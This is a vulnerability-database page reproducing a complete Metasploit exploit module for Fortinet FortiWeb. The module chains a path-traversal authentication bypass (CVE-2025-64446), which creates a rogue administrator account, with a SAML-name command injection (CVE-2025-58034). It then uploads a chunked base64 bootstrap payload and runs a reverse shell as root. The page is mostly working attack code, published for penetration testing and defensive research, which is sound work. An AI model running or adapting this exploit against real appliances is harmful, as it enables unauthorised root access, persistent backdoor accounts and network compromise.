Lucene search
K

📄 Fortinet FortiWeb Unauthenticated Remote Code Execution

🗓️ 26 Nov 2025 00:00:00Reported by sfewer-r7, DefusedType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 146 Views

Fortinet FortiWeb unauthenticated RCE via authentication bypass and command injection to root

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for OS Command Injection in Fortinet Fortiweb
4 Mar 202608:31
githubexploit
GithubExploit
Exploit for Relative Path Traversal in Fortinet Fortiweb
26 Mar 202611:29
githubexploit
GithubExploit
Exploit for Relative Path Traversal in Fortinet Fortiweb
21 Nov 202500:37
githubexploit
GithubExploit
Exploit for Relative Path Traversal in Fortinet Fortiweb
18 Nov 202510:25
githubexploit
GithubExploit
Exploit for OS Command Injection in Fortinet Fortiweb
24 Nov 202522:48
githubexploit
GithubExploit
FortiGate-FortiWeb-Multi-Exploit-Extractor
14 May 202614:07
githubexploit
GithubExploit
Exploit for CVE-2025-58034
19 Nov 202509:52
githubexploit
GithubExploit
Exploit for OS Command Injection in Fortinet Fortiweb
2 Mar 202614:36
githubexploit
GithubExploit
Exploit for CVE-2025-50834
25 Nov 202511:42
githubexploit
Circl
CVE-2025-58034
18 Nov 202520:20
circl
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Rex::Proto::Http::WebSocket
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Fortinet FortiWeb unauthenticated RCE',
            'Description' => %q{
              This exploit module exploits an authentication bypass via path traversal vulnerability in the Fortinet
              FortiWeb management interface to create a new local administrator user account. From there a command
              injection vulnerability is leveraged to achieve RCE with root privileges.
    
              The auth bypass CVE-2025-64446 affects the following versions:
    
              * FortiWeb 8.0.0 through 8.0.1 (Patched in 8.0.2 and above)
              * FortiWeb 7.6.0 through 7.6.4 (Patched in 7.6.5 and above)
              * FortiWeb 7.4.0 through 7.4.9 (Patched in 7.4.10 and above)
              * FortiWeb 7.2.0 through 7.2.11 (Patched in 7.2.12 and above)
              * FortiWeb 7.0.0 through 7.0.11 (Patched in 7.0.12 and above)
    
              The command injection CVE-2025-58034 affects the following versions (Note the 7.6 and 7.4 branches are very
              slightly different when compared to the patch versions for CVE-2025-64446:
    
              * FortiWeb 8.0.0 through 8.0.1 (Patched in 8.0.2 and above)
              * FortiWeb 7.6.0 through 7.6.5 (Patched in 7.6.6 and above) <-- slight difference
              * FortiWeb 7.4.0 through 7.4.10 (Patched in 7.4.11 and above) <-- slight difference
              * FortiWeb 7.2.0 through 7.2.11 (Patched in 7.2.12 and above)
              * FortiWeb 7.0.0 through 7.0.11 (Patched in 7.0.12 and above)
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Defused', # PoC from honeypot for CVE-2025-64446
              'sfewer-r7', # MSF module and CVE-2025-58034 analysis
            ],
            'References' => [
              ['CVE', '2025-64446'], # Auth bypass
              ['CVE', '2025-58034'], # Command Injection
              ['URL', 'https://attackerkb.com/topics/zClpINmLCh/cve-2025-58034/rapid7-analysis'], # Analysis of CVE-2025-58034
              ['URL', 'https://x.com/defusedcyber/status/1975242250373517373'], # Original PoC for CVE-2025-64446 posted online
              ['URL', 'https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass'], # PoC for CVE-2025-64446
              ['URL', 'https://www.pwndefend.com/2025/11/13/suspected-fortinet-zero-day-exploited-in-the-wild/'],
              ['URL', 'https://www.rapid7.com/blog/post/etr-critical-vulnerability-in-fortinet-fortiweb-exploited-in-the-wild/'],
              ['URL', 'https://www.fortiguard.com/psirt/FG-IR-25-910'], # Vendor advisory for CVE-2025-64446
              ['URL', 'https://www.fortiguard.com/psirt/FG-IR-25-513'] # Vendor advisory for CVE-2025-58034
            ],
            # CVE-2025-64446 was disclosed on Nov 14, 2025, CVE-2025-58034 was disclosed on Nov 18, 2025.
            # Both vulnerabilities were silently patched by the vendor prior to this date.
            'DisclosureDate' => '2025-11-14',
            'Privileged' => true, # Executes as root.
            'Platform' => 'unix', # Only some of the unix payloads have been verified to work, the Linux fetch payloads dont execute.
            'Arch' => [ARCH_CMD],
            'Targets' => [
              [
                # NOTE: Tested with the following payloads against a vulnerable FortiWeb 8.0.1 and 7.4.8:
                #   cmd/unix/reverse_bash
                #   cmd/unix/reverse_openssl
                'Default', {
                  'Payload' => {
                    'BadChars' => '"'
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'PAYLOAD' => 'cmd/unix/reverse_bash',
              'RPORT' => 443,
              'SSL' => true,
              # The maximum time in seconds to wait for a session.
              'WfsDelay' => 30
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS],
              'RelatedModules' => ['auxiliary/admin/http/fortinet_fortiweb_create_admin']
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base path', '/'])
        ])
    
        register_advanced_options(
          [
            OptString.new('FortiWebAdminUsername', [false, 'A valid admin username to use. A new admin account will be created if not specified.', nil]),
            OptString.new('FortiWebAdminPassword', [false, 'A valid admin password to use. A new admin account will be created if not specified.', nil]),
            OptString.new('FortiWebAccessProfile', [ true, 'The access profile to use for the new admin account', 'prof_admin' ]),
            OptString.new('FortiWebDomain', [ true, 'The domain to use for the new admin account', 'root' ]),
            OptString.new('FortiWebDefaultAdminAccount', [ true, 'The default FortiWeb admin account name', 'admin' ]),
            OptString.new('FortiWebWritableDir', [true, 'The full path of a writable directory on the target.', '/tmp'])
          ]
        )
      end
    
      def check
        res = post_auth_bypass_request({ data: {} })
    
        return CheckCode::Unknown('Connection failed') unless res
    
        return Exploit::CheckCode::Safe('Received a 403 Forbidden response') if res.code == 403
    
        j = JSON.parse(res.body)
    
        return Exploit::CheckCode::Appears if j.dig('results', 'message') == 'Empty value isn\'t allowed.'
    
        CheckCode::Unknown('Unexpected JSON results')
      rescue JSON::ParserError
        return CheckCode::Unknown('Failed to parse JSON body')
      end
    
      def exploit
        if datastore['FortiWebAdminUsername'].nil? || datastore['FortiWebAdminPassword'].nil?
          print_status('Creating a new admin account via CVE-2025-64446...')
    
          admin_username = Faker::Internet.username
          admin_password = Rex::Text.rand_text_alpha(8)
    
          create_admin_account(admin_username, admin_password)
    
          print_good("New admin account successfully created: #{admin_username}:#{admin_password}")
        else
          admin_username = datastore['FortiWebAdminUsername']
          admin_password = datastore['FortiWebAdminPassword']
    
          print_good("Using existing admin credentials: #{admin_username}:#{admin_password}")
        end
    
        print_status('Logging in...')
    
        cookie_jar.clear
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'logincheck'),
          'keep_cookies' => true,
          'vars_post' => {
            'username' => admin_username,
            'secretkey' => admin_password
          }
        )
    
        fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed.') unless res
    
        fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200
    
        unless cookie_jar.cookies.find { |c| c.name.start_with? 'APSCOOKIE_FWEB' }
          fail_with(Msf::Exploit::Failure::UnexpectedReply, 'No APSCOOKIE_FWEB returned')
        end
    
        print_good("Successfully logged in as #{admin_username}")
    
        begin
          print_status('Executing payload via CVE-2025-58034...')
    
          execute_payload
        rescue Rex::Proto::Http::WebSocket::ConnectionError => e
          fail_with(Msf::Exploit::Failure::UnexpectedReply, "CLI websocket connection error: #{e}")
        end
    
        print_good('Finished.')
      end
    
      def execute_payload
        tmp_file_name = Rex::Text.rand_text_alphanumeric(4)
    
        bootstrap_payload = "rm -f #{datastore['FortiWebWritableDir']}/#{tmp_file_name}*;"
        # We need to detach our payload from the current session, as when the TCP connections from out HTTP(S) requests close,
        # the device will tear down any child processes from the CLI, intern killing our payload prematurely. We would normally
        # use the nohup command for this, however this is unavailable on certain versions (available on 8.0.1, unavailable
        # on 7.4.8). To work around this, the bootstrap payload below will leverage Python, and use the Popen argument
        # start_new_session to do essentially what nohup does - call setsid() to create a new session. This has been
        # confirmed to work as expected on 8.0.1 and 7.4.8.
        bootstrap_payload += "python -c \"import subprocess;subprocess.Popen(f\\\"#{payload.encoded}\\\",shell=True,start_new_session=True,stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)\""
    
        vprint_status("Using bootstrap payload: #{bootstrap_payload}")
    
        bootstrap_payload = Base64.strict_encode64(bootstrap_payload)
    
        idx = 1
        idx_prefix = ''
    
        # Our command injection can at most be 63 characters. We need 2 characters for a double back tick, and
        # 23 for the echo command that writes the chunk to a file (assuming a path of /tmp and a single digit idx
        # value). So by default, the chunk size will be 38. However, this may change as we write the chunks.
        # To ensure the `cat tmp_file_name*` command amalgamates the files in the correct order, if an idx goes above 9,
        # we reset the idx back to 1, and append a '9' character to an idx_prefix variable. This will ensure we get
        # sequential files, for example tmp1, tmp2, ..., tmp9, tmp91, tmp92, ..., tmp99, tmp991, tmp992, ...
        # A result of appending a character to the idx_prefix variable, is we can write 1 less character in the chunk, so
        # we must recompute the chunk size, to ensure we don't go over the 63-character limit.
        chunk_size = 63 - 2 - "echo -n |tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}#{idx_prefix}#{idx}".length
    
        # We write to a file via tee, as the > character is a bad char (so we cant do "echo foo > file" and
        # instead do "echo foo|tee file").
    
        # We also base64 encode the data we write, as single and double quotes are also bad chars, so we cant write
        # them, and therefore white spaces are also an issue.
    
        # We display the progress to the user, so track that with a current and max chunk number.
        curr_chunk_number = 1
    
        max_chunk_number = (bootstrap_payload.length / chunk_size) + 1
    
        while bootstrap_payload && !bootstrap_payload.empty?
    
          print_status("Uploading bootstrap payload chunk #{curr_chunk_number} of #{max_chunk_number}...")
    
          chunk = bootstrap_payload[0, chunk_size]
    
          bootstrap_payload = bootstrap_payload[chunk_size..]
    
          execute_cmd("echo -n #{chunk}|tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}#{idx_prefix}#{idx}")
    
          idx += 1
    
          if idx > 9
            idx = 1
            idx_prefix += '9'
            # Adjust chunk_size, as the idx_prefix value has had a '9' character appended to it, so the
            # next chunk must have 1 less character.
            chunk_size -= 1
            # If the payload was too big, and we run out of space in the command to write any chunk data, fail.
            # This is unlikely to occur in practise, as the MSF payload command would need to be very large to exhaust the
            # available space to write it. Back of a napkin calculation would be for every 9 chunks we get 1 less
            # character, so starting with a chunk size of 36, we have (36 * 9) + (35 * 9) + (34 * 9), ... + (1 * 9), which
            # would be a max MSF payload size of 5670 characters. Calculated with the command:
            # ruby -e "sz=0; 1.upto(36){ |i| sz += ((36-i)*9) };p sz"
            fail_with(Failure::BadConfig, 'No more space in the command to write chunk data, choose a smaller payload') if chunk_size.zero?
          end
    
          curr_chunk_number += 1
        end
    
        print_status('Amalgamating bootstrap payload chunks...')
    
        execute_cmd("cat #{datastore['FortiWebWritableDir']}/#{tmp_file_name}*|tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}")
    
        print_status('Executing bootstrap payload...')
    
        execute_cmd("cat #{datastore['FortiWebWritableDir']}/#{tmp_file_name}|base64 -d|sh")
      end
    
      def execute_cmd(cmd)
        vprint_status("Executing OS command: #{cmd}")
    
        # These bad chars are not allowed in a SAML config name, which is the command injection we leverage.
        # We also look for backticks, which are allowed, but we use two of them below to get command execution so we
        # don't want the incoming cmd to contain any as that would break our injection.
        '`#()>\'"'.each_char do |bad_char|
          fail_with(Failure::BadConfig, "Bad cmd char #{bad_char} in execute_cmd") if cmd.include? bad_char
        end
    
        # The max name length is 63 characters, less 2 for the double backtick, so 61 are available for the OS command.
        fail_with(Failure::BadConfig, 'Command too long for execute_cmd') if cmd.length > (63 - 2)
    
        vprint_status('Connecting to the CLI websocket...')
    
        wsock_headers = {
          'Cookie' => ''
        }
    
        cookie_jar.cookies.each do |c|
          wsock_headers['Cookie'] += "#{c}; "
        end
    
        wsock = connect_ws(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'ws', 'cli', 'open'),
          'headers' => wsock_headers
        )
    
        vprint_good('Successfully connected to the CLI websocket')
    
        cli_commands = [
          'config user saml-user',
          "edit \"`#{cmd}`\"",
          "set entityID http://#{Rex::Text.rand_text_alpha(4..8)}",
          "set service-path /#{Rex::Text.rand_text_alpha(4..8)}",
          'set enforce-signing disable',
          'set slo-bind post',
          "set slo-path /#{Rex::Text.rand_text_alpha(4..8)}",
          'set sso-bind post',
          "set sso-path /#{Rex::Text.rand_text_alpha(4..8)}",
          'end'
        ]
    
        wsock.wsloop do |buffer, _|
          vprint_line(buffer)
    
          if buffer.end_with? ' # '
            cli_command = cli_commands.shift
    
            break if cli_command.nil?
    
            vprint_status("Running CLI command: #{cli_command}")
    
            wsock.put_wsbinary("#{cli_command}\n")
    
            break if cli_commands.empty?
          end
        end
      end
    
      # The FortiWeb reverse proxy/WebSocket server appears to be non-compliant. The "Upgrade" header is supposed to
      # be case-insensitive, and by default Metasploit will use "WebSocket", however the FortiWeb device will only
      # accept lower case, so we force "websocket" to be used instead.
      def connect(opts = {})
        if opts.dig('headers', 'Upgrade') == 'WebSocket'
          opts['headers']['Upgrade'].downcase!
        end
        super
      end
    
      # Create a new local admin account via CVE-2025-64446.
      def create_admin_account(admin_username, admin_password)
        request_data = {
          data: {
            'q_type' => 1,
            'name' => admin_username,
            'access-profile' => datastore['FortiWebAccessProfile'],
            'access-profile_val' => '0',
            'trusthostv4' => '0.0.0.0/0',
            'trusthostv6' => '::/0',
            'last-name' => '',
            'first-name' => '',
            'email-address' => '',
            'phone-number' => '',
            'mobile-number' => '',
            'hidden' => 0,
            'domains' => datastore['FortiWebDomain'],
            'sz_dashboard' => -1,
            'type' => 'local-user',
            'type_val' => '0',
            'admin-usergrp_val' => '0',
            'wildcard_val' => '0',
            'accprofile-override_val' => '0',
            'sshkey' => '',
            'passwd-set-time' => 0,
            'history-password-pos' => 0,
            'history-password0' => '',
            'history-password1' => '',
            'history-password2' => '',
            'history-password3' => '',
            'history-password4' => '',
            'history-password5' => '',
            'history-password6' => '',
            'history-password7' => '',
            'history-password8' => '',
            'history-password9' => '',
            'force-password-change' => 'disable',
            'force-password-change_val' => '0',
            'password' => admin_password
          }
        }
    
        res = post_auth_bypass_request(request_data)
    
        fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed.') unless res
    
        fail_with(Msf::Exploit::Failure::NotVulnerable, 'Target does not appear vulnerable (403 Forbidden response)') if res.code == 403
    
        unless res.code == 200
          if res.headers['Content-Type'] == 'application/json'
            begin
              response_data = JSON.parse(res.body)
              print_bad(response_data.to_s)
            rescue JSON::ParserError
              print_bad('failed to parse response JSON data')
            end
          end
          fail_with(Msf::Exploit::Failure::UnexpectedReply, "Target returned an unexpected response (#{res.code})")
        end
      end
    
      def post_auth_bypass_request(request_data)
        cgi_info = {
          'username' => datastore['FortiWebDefaultAdminAccount'],
          'profname' => datastore['FortiWebAccessProfile'],
          'vdom' => datastore['FortiWebDomain'],
          'loginname' => datastore['FortiWebDefaultAdminAccount']
        }
    
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, '/api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgi'),
          'headers' => {
            'CGIINFO' => Base64.strict_encode64(cgi_info.to_json)
          },
          'ctype' => 'application/json',
          'data' => request_data.to_json
        )
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Nov 2025 00:00Current
8.7High risk
Vulners AI Score8.7
CVSS 3.19.8
EPSS0.9299
SSVC
146